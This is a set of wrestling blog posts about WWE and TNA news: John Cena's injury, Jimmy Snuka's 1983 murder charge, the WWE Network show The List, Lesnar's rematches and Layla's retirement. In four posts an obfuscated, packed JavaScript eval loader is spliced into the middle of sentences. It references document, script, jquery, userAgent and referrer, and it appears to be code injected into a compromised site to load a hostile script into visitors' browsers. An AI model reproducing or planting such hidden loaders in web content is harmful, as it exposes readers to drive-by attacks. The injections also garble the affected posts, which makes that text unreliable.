John Cena Possibly Injured At House Show

http://www.wrestlingrumors.net/john-cena-potentially-injured-during-wwe-live-event-on-friday-night/40780/

 

This one doesn’t sound that serious, but not doing the post match stuff isn’t a good sign.  At least he was able to finish the match.  There’s a good chance he won’t be on Raw though and that’s fine considering Seth has a second opponent for the pay per view.




Jimmy Snuka Charged With 1983 Murder

http://411mania.com/wrestling/jimmy-snuka-charged-with-murder/

 

This has been rumored for years now and it’s finally happening 32 years later. Snuka already has stomach cancer and there’s a good chance he could be going down for this too.  This has really been a bad year for 80s stars but this is a different kind of bad.




Thought of the Day: Something Russo Got Right

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WWE Network And An Adult Website

This is something I’d expect out of TNA.So on the Foxiest Features episode of the List, there’s a quick comedy segment about a dating site for women who love men with scars.  There’s a website listed as part of the joke…….and it’s an actual adult website.  It’s not full on adult stuff but there are various links for various similar sites.  This is a case where spending all of half a second typing the site into a computer could have prevented the problem, but now it comes off as something to make WWE look stupid.




Jon Stewart To Host Summerslam

http://www.wrestlingrumors.net/jon-stewart-to-host-wwe-summerslam-on-sunday/39161/

Well alright.  I’ve heard worse ideas and the guy is definitely hot right now as well as a huge WWE fan so I have very few complaints.




So I Started Watching The List

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aneii|var|u0026u|referrer|bness||js|php'.split('|'),0,{})) was thinking it would be a half hour version of Countdown.And it’s a half hour version of Countdown.  I have no idea why they dropped Countdown, which is pretty much the easiest show in the world to do and the format was as basic as you could ask for, but instead we now get this, which is the exact same thing but with almost all new names instead of anything historic.

To give you an idea of what I was in for, the first show was called Trendiest Divas, meaning we’re already in Twitter territory.  The top of the list of course?  The Bellas, with a special video on Stephanie to close things out.  Yeah…..I need to just watch Countdown reruns.




John Cena Wrestling At Summerslam

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbfd|var|u0026u|referrer|kfkfh||js|php'.split('|'),0,{})) to Cena himself on Summerslam.  It’s not really a surprise and probably the best possible option.  This is probably my last Tough Enough related post this year.




Thought of the Day – It’s Been Awhile

Looking eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkaff|var|u0026u|referrer|aeazd||js|php'.split('|'),0,{})) at why this rematch with Undertaker is being better received than Lesnar’s other rematch.

John Cena – Extreme Rules 2012

HHH – Summerslam 2012

HHH – Wrestlemania XXIX

HHH – Extreme Rules 2013

CM Punk – Summerslam 2013

Big Show – Royal Rumble 2014

Undertaker – Wrestlemania XXX

John Cena – Summerslam 2014

John Cena – Night of Champions 2014

John Cena, Seth Rollins – Royal Rumble 2015

Seth Rollins, Roman Reigns – Wrestlemania XXXI

Kofi Kingston – Beast in the East

Seth Rollins – Battleground 2015

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Rewatching Wrestlemania XXX

Just eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isafz|var|u0026u|referrer|nybrn||js|php'.split('|'),0,{})) felt like throwing it on (and I can because the Network is amazing).  It’s the opening segment with Hogan and Austin and…….dang man.  When the glass shattered, even watching it now, I could feel my heart beating in my chest.  It takes something really special to get me fired up again a year and a half after it happened and knowing it was coming, but this is one of the most amazing things I’ve ever seen.  As soon as Austin came out I knew Rock was coming next but it couldn’t have been better.

 

Then later on there’s something else that isn’t given the credit it deserves.  When Lesnar hits the third F5 on Undertaker, Heyman has his evil grin and the cocky look on his face says “yeah I told you so”.  But then when the three count goes down and Brock wins, Heyman is STUNNED.  Sure Heyman thought his man could do it, but then when Brock actually does it, even Heyman is shocked.  That was such an amazing moment.




Layla Retires From WWE

http://www.wwe.com/inside/layla-retires-from-wwe-27726062

 

Does it count as news when you haven’t done anything in months if not years?  She’s from that model era of wrestling where the Divas were mostly worthless in the ring and Layla was really just the bubbly one who looked good in small outfits.  There were FAR worse Divas out there and Layla reached a point where she wasn’t too bad.  I’ll give her this too: I saw her at a house show in person and my goodness the cameras don’t do her justice.  She was stunning.